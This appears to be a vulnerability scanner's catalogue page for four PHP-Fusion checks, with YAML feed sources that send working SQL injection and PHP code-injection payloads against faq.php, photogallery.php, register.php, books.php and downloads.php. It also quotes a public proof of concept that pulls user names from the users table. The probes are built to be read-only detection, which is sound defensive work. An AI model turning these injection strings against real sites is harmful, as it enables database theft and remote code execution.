PHP-Fusion — 4 vulnerability checks

noctis ships 4 vulnerability checks for PHP-Fusion, covering 5 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

PHP-Fusion < 6.00.110 faq.php, photogallery.php and register.php SQL Injection

CVECVE-2005-3161, CVE-2005-3160
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/php-fusion/php-fusion-6-00-110-sqli.yaml

PHP-Fusion before 6.00.110 puts the cat_id parameter of faq.php, the album parameter of photogallery.php and the activate parameter of register.php into quoted SQL queries without validating them. An unauthenticated attacker can read the whole database, including user password hashes, and through register.php create a user account.

This check posts to faq.php and photogallery.php, at the web root and the usual install directories, a value that closes the quote and appends a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page shows the product computed by the database, which never appears in the request. When faq.php gives no proof, it also posts to register.php an activation code containing a quote and checks for the database syntax error quoting the text that follows it. No table data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST {{dir}}/faq.php with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/photogallery.php with a crafted body
  5. Parses / computes the next value with a Rhai script
  6. HTTP(S) request POST {{dir}}/register.php with a crafted body
  7. Parses / computes the next value with a Rhai script
  8. Checks faq_hit for faq\.php$ → finding QoD 97: PHP-Fusion < 6.00.110 faq.php cat_id SQL Injection (CVE-2005-3161)
  9. Checks alb_hit for photogallery\.php$ → finding QoD 97: PHP-Fusion < 6.00.110 photogallery.php album SQL Injection (CVE-2005-3160)
  10. Checks reg_hit for register\.php$ → finding QoD 75: PHP-Fusion < 6.00.110 register.php activate SQL Injection (CVE-2005-3161)

References:

Feed source — tests/vulnerabilities/php-fusion/php-fusion-6-00-110-sqli.yaml
# PHP-Fusion < 6.00.110 — faq.php cat_id, photogallery.php album and register.php
# activate SQL injection (CVE-2005-3161, CVE-2005-3160).
#
# Source read: PHP-Fusion 6.00.109 vs 6.00.110 (github.com/PHPFusion/Archive,
# branches 6.00.109 / 6.00.110). The 6.00.110 fix adds, in this order:
#   faq.php           isNum($cat_id) check: redirect() -> fallback() (redirect() is a
#                     bare header("Location") with no exit, so 6.00.109 still runs
#                     SELECT * FROM faq_cats WHERE faq_cat_id='$cat_id' and prints
#                     faq_cat_name in the "FAQ: <name>" table title);
#   photogallery.php  new isNum($album) / isNum($photo) checks (none in 6.00.109);
#                     the album query selects ta.* (4 columns) + COUNT/MAX/user_name
#                     and prints album_title;
#   register.php      preg_match("/^[0-9a-z]{32}$/", $activate) before
#                     SELECT * FROM new_users WHERE user_code='$activate'.
# dbquery() echoes mysql_error() whenever a query fails.
# maincore.php die()s on any GET value holding a double quote or a "(...)" group,
# so every payload goes in the POST body (extract($_REQUEST) / register_globals
# turn it into the same variable).
#
# Detection:
#   - faq.php     POST cat_id=' UNION SELECT 1,a*b-- -              (faq_cats: 2 cols)
#   - photogallery.php POST album=' GROUP BY album_id UNION SELECT 1,a*b,a*b,1,1,1,1-- -
#     (7 cols; the GROUP BY is needed: the album query has COUNT()/MAX(), so without
#     it the first SELECT always returns one all-NULL row and hides ours)
#     QoD 97 each when the page shows the product a*b of two random 6-digit numbers,
#     computed by the database and never present in the request. Read-only: no
#     table is referenced, nothing is extracted (photo= is not used: it runs an
#     UPDATE of the view counter first).
#   - register.php POST activate=<t1>' <t2>  -> QoD 75 when the page shows the MySQL
#     syntax error quoting the query text after our quote ("near '<t2>'"). Only
#     sent when faq.php gave no proof (same CVE).
#
# Better than the source NASL: the NASL's register.php exploit makes the UNION
# row a serialized user record, so a vulnerable site INSERTs a new user account
# (a write on the target, and an account left behind). This feed never returns a
# row from new_users: it uses an error-based register.php probe, and proves the
# injection with a computed value on two read-only pages, one of them
# (photogallery.php, CVE-2005-3160) not covered by the NASL. It also tries the
# usual install directories (the NASL relies on a separate product detection).
# CVE-2005-3157 / CVE-2005-3158 (messages.php, members only), also named by the
# source issue, are not covered: no unauthenticated probe reaches them. They stay
# out of cves: (exclude_cve matches on overlap) and are kept in references only.
#
# Source: OpenVAS/Greenbone NVT pre2008/php_fusion_6_00_110.nasl
# (OID 1.3.6.1.4.1.25623.1.0.20009, GPL-2.0-only).
uid: 264a9408-6887-4fbf-8379-6ad2a1ea1ae0
name: "PHP-Fusion < 6.00.110 faq.php, photogallery.php and register.php SQL Injection"
description: |
  PHP-Fusion before 6.00.110 puts the cat_id parameter of faq.php, the album
  parameter of photogallery.php and the activate parameter of register.php into
  quoted SQL queries without validating them. An unauthenticated attacker can read
  the whole database, including user password hashes, and through register.php
  create a user account.

  This check posts to faq.php and photogallery.php, at the web root and the usual
  install directories, a value that closes the quote and appends a UNION SELECT of
  an expression multiplying two random numbers. The vulnerability is confirmed
  when the page shows the product computed by the database, which never appears
  in the request. When faq.php gives no proof, it also posts to register.php an
  activation code containing a quote and checks for the database syntax error
  quoting the text that follows it. No table data is read and nothing is written.
cves: [CVE-2005-3161, CVE-2005-3160]
# NVD publishes only a CVSS v2 base score (7.5) for both CVEs.
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [php-fusion, phpfusion, sqli, union-based, error-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-3161"
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-3160"
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-3157"
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-3158"
  - "https://github.com/PHPFusion/Archive/tree/6.00.110"
  # OpenVAS/Greenbone NASL pre2008/php_fusion_6_00_110.nasl (GPL-2.0-only)

steps:
  # ── Random operands, markers and the URL-encoded POST bodies ──────────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let c = rand_int(100000, 999999);
      let d = rand_int(100000, 999999);
      let t1 = rand_str(8);
      let t2 = "noctis" + rand_hex(6);
      #{ faq_want: "" + (a * b),
         faq_expr: a + "*" + b,
         faq_body: "cat_id=%27%20UNION%20SELECT%201%2C" + a + "*" + b + "--%20-",
         alb_want: "" + (c * d),
         alb_expr: c + "*" + d,
         alb_body: "album=%27%20GROUP%20BY%20album_id%20UNION%20SELECT%201%2C" + c + "*" + d + "%2C" + c + "*" + d + "%2C1%2C1%2C1%2C1--%20-",
         tail: t2,
         reg_body: "activate=" + t1 + "%27%20" + t2 }
    store_as: sc

  # ── Every step below runs once per install directory (loop group) ────────
  # Pre-initialise the replies: a refused connection must not leave store_as
  # unset (an undefined variable aborts the whole test).
  - id: init-faq
    action: set_var
    var_name: faq_resp
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/php-fusion", "/phpfusion", "/fusion", "/files", "/cms", "/portal"]

  - id: init-alb
    action: set_var
    var_name: alb_resp
    var_value: {status: 0, body: ""}

  - id: init-reg
    action: set_var
    var_name: reg_resp
    var_value: {status: 0, body: ""}

  - id: probe-faq
    action: http_request
    method: POST
    path: "{{dir}}/faq.php"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{sc.faq_body}}"
    follow_redirects: false
    tls_insecure: true
    timeout_secs: 15
    store_as: faq_resp

  - id: check-faq
    action: script
    code: |
      let body = if type_of(faq_resp.body) == "string" { faq_resp.body } else { "" };
      // the product alone, not inside a longer number
      if ereg("(^|[^0-9])" + sc.faq_want + "([^0-9]|$)", body) { dir + "/faq.php" } else { "" }
    store_as: faq_hit

  # The two other pages only where faq.php exists (a PHP-Fusion install).
  - id: probe-album
    action: http_request
    condition: "faq_resp.status != 0 && faq_resp.status != 404"
    method: POST
    path: "{{dir}}/photogallery.php"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{sc.alb_body}}"
    follow_redirects: false
    tls_insecure: true
    timeout_secs: 15
    store_as: alb_resp

  - id: check-album
    action: script
    code: |
      let body = if type_of(alb_resp.body) == "string" { alb_resp.body } else { "" };
      if ereg("(^|[^0-9])" + sc.alb_want + "([^0-9]|$)", body) { dir + "/photogallery.php" } else { "" }
    store_as: alb_hit

  - id: probe-register
    action: http_request
    condition: "faq_hit == \"\" && faq_resp.status != 0 && faq_resp.status != 404"
    method: POST
    path: "{{dir}}/register.php"
    port: "{{port}}"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "{{sc.reg_body}}"
    follow_redirects: false
    tls_insecure: true
    timeout_secs: 15
    store_as: reg_resp

  - id: check-register
    action: script
    code: |
      let body = if type_of(reg_resp.body) == "string" { reg_resp.body } else { "" };
      // the server's own syntax error, quoting the text after our quote
      if faq_hit == "" && ereg("error in your SQL syntax.{0,160}near '" + sc.tail + "'", body) { dir + "/register.php" } else { "" }
    store_as: reg_hit

  - id: report-faq
    action: match
    source: faq_hit
    pattern: "faq\\.php$"
    on_match:
      finding:
        title: "PHP-Fusion < 6.00.110 faq.php cat_id SQL Injection (CVE-2005-3161)"
        description: "An unauthenticated POST to faq.php with cat_id closing the SQL quote and appending a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: cat_id reaches the SQL query, so an attacker can read the whole database, including user password hashes."
        remediation: "Upgrade PHP-Fusion to 6.00.110 or later (any supported release), which rejects a non-numeric cat_id before the query."
        cves: [CVE-2005-3161]
        confidence_delta: 0.67
        qod: 97
        evidence: "POST {{faq_hit}} cat_id=' UNION SELECT 1,{{sc.faq_expr}}-- - returned the database-computed value {{sc.faq_want}}"

  - id: report-album
    action: match
    source: alb_hit
    pattern: "photogallery\\.php$"
    on_match:
      finding:
        title: "PHP-Fusion < 6.00.110 photogallery.php album SQL Injection (CVE-2005-3160)"
        description: "An unauthenticated POST to photogallery.php with album closing the SQL quote and appending a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: album reaches the SQL query, so an attacker can read the whole database, including user password hashes."
        remediation: "Upgrade PHP-Fusion to 6.00.110 or later (any supported release), which rejects a non-numeric album or photo before the query."
        cves: [CVE-2005-3160]
        confidence_delta: 0.67
        qod: 97
        evidence: "POST {{alb_hit}} album=' GROUP BY album_id UNION SELECT 1,{{sc.alb_expr}},{{sc.alb_expr}},1,1,1,1-- - returned the database-computed value {{sc.alb_want}}"

  - id: report-register
    action: match
    source: reg_hit
    pattern: "register\\.php$"
    on_match:
      finding:
        title: "PHP-Fusion < 6.00.110 register.php activate SQL Injection (CVE-2005-3161)"
        description: "An unauthenticated POST to register.php with an activation code containing a single quote made the database report a syntax error quoting the text after that quote: activate reaches the SQL query unvalidated, so an attacker can read the database and create a user account."
        remediation: "Upgrade PHP-Fusion to 6.00.110 or later (any supported release), which only accepts a 32-character [0-9a-z] activation code."
        cves: [CVE-2005-3161]
        confidence_delta: 0.45
        qod: 75
        evidence: "POST {{reg_hit}} activate=<random>' {{sc.tail}} returned a MySQL syntax error near '{{sc.tail}}'"

PHP-Fusion Book Panel books.php bookid SQL Injection

CVECVE-2009-4889
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/php-fusion/CVE-2009-4889.yaml

The Book Panel add-on for PHP-Fusion puts the bookid parameter of books.php unquoted into the SQL query that loads a book and prints the book's title it returns. An unauthenticated attacker can read the whole database, including the users table and its password hashes.

This check requests books.php under infusions/book_panel/ and book_panel/, at the web root and the usual PHP-Fusion install directories, with a bookid that is a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page shows the product computed by the database, which never appears in the request. No table data is read and nothing is written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{bp}}?&bookid={{sc.q}}
  3. Parses / computes the next value with a Rhai script
  4. Checks hit for books\.php$ → finding QoD 97: PHP-Fusion Book Panel books.php bookid SQL Injection (CVE-2009-4889)

References:

Feed source — tests/vulnerabilities/php-fusion/CVE-2009-4889.yaml
# CVE-2009-4889 — PHP-Fusion Book Panel infusion books.php bookid SQL injection.
#
# The Book Panel add-on (book_panel infusion) puts the bookid GET parameter
# unquoted into the SELECT that loads a book (6 columns) and prints the third
# column. Public PoC (EDB-8186, milw0rm 2009-03-09):
#     [path]/book_panel/books.php?&bookid=-1+union+select+1,2,user_name,4,5,6+from+fusion_users--
#
# Detection (QoD 97): for every candidate path, send
#     bookid=-1 UNION SELECT 1,2,a*b,4,5,6-- -
# with random 6-digit a, b, and require the 11-12 digit product a*b (not part of
# a longer number) in the page. The product is never in the request, so only an
# SQL engine that evaluated our expression can return it. Read-only: no table is
# referenced, nothing extracted, nothing written.
# No parentheses and no double quotes: PHP-Fusion 6.x maincore.php kills the
# request (empty page) when any GET value matches eregi("\([^>]*\"?[^)]*\)") or
# contains a double quote — a CONCAT(...) marker would be an FN on 6.x sites.
#
# Better than the source NASL:
#   - the NASL's fixed hex marker (0x53514c2d…, "SQL-Injection-Test") is replaced
#     by a value computed by the database from random operands (still without
#     parentheses, like the NASL payload);
#   - the NASL only probes <dir>/book_panel/books.php under the install dir found
#     by its PHP-Fusion detection. PHP-Fusion installs infusions under
#     infusions/, so the feed also probes <dir>/infusions/book_panel/books.php,
#     at the web root and the usual install directories (noctis has no separate
#     PHP-Fusion detection).
#
# Source: OpenVAS/Greenbone NVT 2009/PHPFusion_book_panel_module_sql_injection.nasl
# (OID 1.3.6.1.4.1.25623.1.0.100043, GPL-2.0-only).
uid: 49231f50-caee-4901-82ba-e45fa1f38574
name: "PHP-Fusion Book Panel books.php bookid SQL Injection (CVE-2009-4889)"
description: |
  The Book Panel add-on for PHP-Fusion puts the bookid parameter of books.php
  unquoted into the SQL query that loads a book and prints the book's title it
  returns. An unauthenticated attacker can read the whole database, including
  the users table and its password hashes.

  This check requests books.php under infusions/book_panel/ and book_panel/, at
  the web root and the usual PHP-Fusion install directories, with a bookid that is
  a UNION SELECT of an expression multiplying two random numbers. The
  vulnerability is confirmed when the page shows the product computed by the
  database, which never appears in the request. No table data is read and nothing
  is written.
cves: [CVE-2009-4889]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [php-fusion, phpfusion, book-panel, sqli, union-based, php]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-4889"
  - "https://www.exploit-db.com/exploits/8186"
  # OpenVAS/Greenbone NASL 2009/PHPFusion_book_panel_module_sql_injection.nasl (GPL-2.0-only)

steps:
  # ── Random operands, expected marker and the encoded bookid value ─────────
  - id: gen-proof
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ want: "" + (a * b),
         expr: a + "*" + b,
         q: "-1%20UNION%20SELECT%201,2," + a + "*" + b + ",4,5,6--%20-" }
    store_as: sc

  # ── Every step below runs once per candidate path (loop group) ───────────
  # Pre-initialise the reply: a refused connection must not leave store_as
  # unset (an undefined variable aborts the whole test).
  - id: init-resp
    action: set_var
    var_name: resp
    var_value: {status: 0, body: ""}
    loop:
      var: bp
      over:
        - "/infusions/book_panel/books.php"
        - "/book_panel/books.php"
        - "/php-fusion/infusions/book_panel/books.php"
        - "/php-fusion/book_panel/books.php"
        - "/phpfusion/infusions/book_panel/books.php"
        - "/fusion/infusions/book_panel/books.php"
        - "/files/infusions/book_panel/books.php"
        - "/files/book_panel/books.php"

  - id: probe
    action: http_request
    method: GET
    path: "{{bp}}?&bookid={{sc.q}}"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 15
    store_as: resp

  - id: check
    action: script
    code: |
      let body = if type_of(resp.body) == "string" { resp.body } else { "" };
      // the product alone, not inside a longer number
      if ereg("(^|[^0-9])" + sc.want + "([^0-9]|$)", body) { bp } else { "" }
    store_as: hit

  - id: report
    action: match
    source: hit
    pattern: "books\\.php$"
    on_match:
      finding:
        title: "PHP-Fusion Book Panel books.php bookid SQL Injection (CVE-2009-4889)"
        description: "An unauthenticated request to the Book Panel books.php with bookid set to a UNION SELECT of a multiplication of two random numbers returned the product computed by the database: bookid reaches the SQL query unquoted, so an attacker can read the whole database, including user password hashes."
        remediation: "Remove the Book Panel infusion (no fixed release is known), or cast bookid with intval() / isnum() in books.php before it is used in a query."
        confidence_delta: 0.67
        qod: 97
        evidence: "{{hit}}?&bookid=-1 UNION SELECT 1,2,{{sc.expr}},4,5,6-- - returned the database-computed value {{sc.want}}"
      stop: true

PHP-Fusion downloads.php cat_id PHP Code Injection RCE

CVECVE-2020-24949
Severityhigh · CVSS 8.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/php-fusion/CVE-2020-24949.yaml

PHP-Fusion 9.03.50 and probably earlier, with "Allow PHP Execution" enabled, evaluate the cat_id parameter of infusions/downloads/downloads.php as PHP code (CVE-2020-24949), allowing unauthenticated remote code execution. This check injects the benign expression ${print(md5(N))} with a random N and confirms that the md5 digest computed by the target's PHP interpreter is returned.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{pf_base}}/infusions/downloads/downloads.php?cat_id=$%7Bprint(md5({{pf.n}}))%7D HTTP…
  3. Parses / computes the next value with a Rhai script
  4. Checks inj_resp.banner for [0-9a-f]{32} → finding QoD 97: PHP-Fusion downloads.php cat_id PHP Code Injection RCE (CVE-2020-24949)

References:

Feed source — tests/vulnerabilities/php-fusion/CVE-2020-24949.yaml
# CVE-2020-24949 — PHP-Fusion 9.03.50 downloads.php `cat_id` PHP code injection.
# Active detection ported from OpenVAS/Greenbone NASL
# 2021/php-fusion/gb_php_fusion_rce_vuln_apr20.nasl (GPL-2.0-only), with the
# Nuclei template http/cves/2020/CVE-2020-24949.yaml and Exploit-DB 49911.
#
# With the "Allow PHP Execution" setting enabled, the `cat_id` parameter of
# /infusions/downloads/downloads.php ends up in a string PHP evaluates, so the
# complex-syntax interpolation `${expr}` runs `expr` as PHP code. The NASL sends
# `cat_id=$%7Bsystem(<cmd>)%7D` with the `id` / `ipconfig` commands and greps
# the command output in the body.
#
# Benign proof (project rule: prove exploitation, never destroy): instead of an
# OS command, the feed injects `${print(md5(N))}` with a random per-run N. A
# vulnerable instance calls the PHP md5() function and prints the 32-hex digest;
# the feed recomputes md5(N) and requires that exact digest in the reply. The
# digest never appears in the request, so a page that merely reflects cat_id
# cannot match. Nothing runs in a shell and nothing is written on the target.
#
# Beyond the NASL:
#   - The NASL needs system(), so it misses hosts with system() in
#     disable_functions (a common hardening) although arbitrary PHP still runs.
#     md5()/print are never disabled, so this check covers them too.
#   - No quotes are needed (PHP-Fusion entity-encodes quotes in GET input): the
#     argument is a bare integer.
#   - The NASL only probes the install directory found by its PHP-Fusion
#     detection; noctis has no such detection, so the feed tries the web root
#     and the usual install directories and stops at the first hit.
#
# tcp_connect is used because reqwest would decode the %7B / %7D braces; the
# request goes out verbatim as HTTP/1.0, exactly as the NASL encodes it.
uid: 0a281393-e6c4-4d7e-a83c-842de34ee4b3
name: "PHP-Fusion downloads.php cat_id PHP Code Injection RCE (CVE-2020-24949)"
description: |
  PHP-Fusion 9.03.50 and probably earlier, with "Allow PHP Execution" enabled,
  evaluate the cat_id parameter of infusions/downloads/downloads.php as PHP code
  (CVE-2020-24949), allowing unauthenticated remote code execution. This check
  injects the benign expression ${print(md5(N))} with a random N and confirms
  that the md5 digest computed by the target's PHP interpreter is returned.
cves: [CVE-2020-24949]
cvss: 8.8
severity: high
confidence_base: 0.30
category: rce
tags:
  - php-fusion
  - phpfusion
  - code-injection
  - rce
  - intrusive
services:
  - http
  - https
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2020-24949"
  - "https://www.exploit-db.com/exploits/49911"
  - "OpenVAS/Greenbone NASL 2021/php-fusion/gb_php_fusion_rce_vuln_apr20.nasl (GPL-2.0-only)"
  - "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2020/CVE-2020-24949.yaml"

steps:
  # ── Random operand and the digest the target must compute ────────────────
  - id: gen-nonce
    action: script
    code: |
      let n = rand_int(100000000, 999999999);
      #{ n: n, digest: md5("" + n) }
    store_as: pf

  # ── Every step below runs once per candidate install directory ───────────
  # Pre-initialise the reply: a refused connection must not leave store_as
  # unset (an undefined variable aborts the whole test).
  - id: init-resp
    action: set_var
    var_name: inj_resp
    var_value: {connected: false, banner: null}
    loop:
      over: ["", "/php-fusion", "/phpfusion", "/fusion", "/files"]
      var: pf_base

  - id: inject
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{pf_base}}/infusions/downloads/downloads.php?cat_id=$%7Bprint(md5({{pf.n}}))%7D HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: Mozilla/5.0 (noctis)\r\nConnection: close\r\n\r\n"
    timeout_secs: 10
    store_as: inj_resp

  - id: verify
    action: script
    code: |
      let hit = false;
      if type_of(inj_resp.banner) == "string" {
        hit = stridx(inj_resp.banner, pf.digest) >= 0;
      }
      #{ hit: hit }
    store_as: chk

  - id: report
    action: match
    source: inj_resp.banner
    pattern: "[0-9a-f]{32}"
    condition: "chk.hit"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        title: "PHP-Fusion downloads.php cat_id PHP Code Injection RCE (CVE-2020-24949)"
        description: >
          {{pf_base}}/infusions/downloads/downloads.php evaluated the PHP
          expression ${print(md5({{pf.n}}))} injected through the cat_id
          parameter and returned the digest computed by the target's PHP
          interpreter. This confirms unauthenticated remote PHP code execution
          (PHP-Fusion with "Allow PHP Execution" enabled).
        evidence: "PHP code executed — GET {{pf_base}}/infusions/downloads/downloads.php?cat_id=${print(md5({{pf.n}}))} returned md5({{pf.n}}) = {{pf.digest}}"
      stop: true

PHP-Fusion downloads.php orderby SQL injection

CVECVE-2013-1803
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionset_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/php-fusion/CVE-2013-1803.yaml

Checks that the site runs PHP-Fusion, then requests downloads.php with a stray quote and a marker in the orderby parameter. The finding is reported when the response contains a MySQL syntax error that echoes the marker, proving the parameter is concatenated unquoted into the SQL query. Read-only: the request only triggers a syntax error.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /downloads.php?cat_id=1 HTTP/1.0
  2. Checks gate.banner for (?i)PHP-Fusion
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /downloads.php?cat_id=1&orderby='SQL-Injection-Test HTTP/1.0
  4. Checks resp.banner for (?s)You have an error in your SQL syntax.*SQL-Injection-Test → finding QoD 75: PHP-Fusion downloads.php orderby returned a MySQL syntax error echoing SQL-Injection-Test: …

References:

Feed source — tests/vulnerabilities/php-fusion/CVE-2013-1803.yaml
uid: 66d457bb-43e7-43d2-88fa-fad26a149699
name: "PHP-Fusion downloads.php orderby SQL injection (CVE-2013-1803)"
description: "Checks that the site runs PHP-Fusion, then requests downloads.php with a stray quote and a marker in the orderby parameter. The finding is reported when the response contains a MySQL syntax error that echoes the marker, proving the parameter is concatenated unquoted into the SQL query. Read-only: the request only triggers a syntax error."
cves: [CVE-2013-1803]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.3
tags: [openvas-migrated, http, php-fusion, sqli]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-1803"
  - "OpenVAS NASL 2013/gb_php_fusion_mult_vuln.nasl (GPL-2.0-only)"

# Ported from OpenVAS/Greenbone NASL 2013/gb_php_fusion_mult_vuln.nasl (GPL-2.0-only).
# CVE mapping: the issue lists CVE-2013-1803..1807 and 7375; the probed orderby parameter of
# downloads.php is the first sink of CVE-2013-1803 only (the others are XSS, authenticated
# traversal, backup disclosure and a cookie SQLi elsewhere), so only 1803 is reported.
# Improvement: the NASL runs the probe against any host; here it is gated on a PHP-Fusion page.
steps:
  - id: seed
    action: set_var
    var_name: product
    var_value: false
  - id: gate_probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /downloads.php?cat_id=1 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: gate
  - id: gate_match
    action: match
    source: gate.banner
    pattern: "(?i)PHP-Fusion"
    on_match:
      set_vars:
        product: true
  - id: exploit
    action: tcp_connect
    port: "{{port}}"
    send: "GET /downloads.php?cat_id=1&orderby='SQL-Injection-Test HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    store_as: resp
  - id: detect
    action: match
    source: resp.banner
    pattern: "(?s)You have an error in your SQL syntax.*SQL-Injection-Test"
    condition: "product"
    on_match:
      finding:
        confidence_delta: 0.5
        qod: 75
        evidence: "PHP-Fusion downloads.php orderby returned a MySQL syntax error echoing SQL-Injection-Test: {{resp.banner}}"
      stop: true

View these feeds on GitHub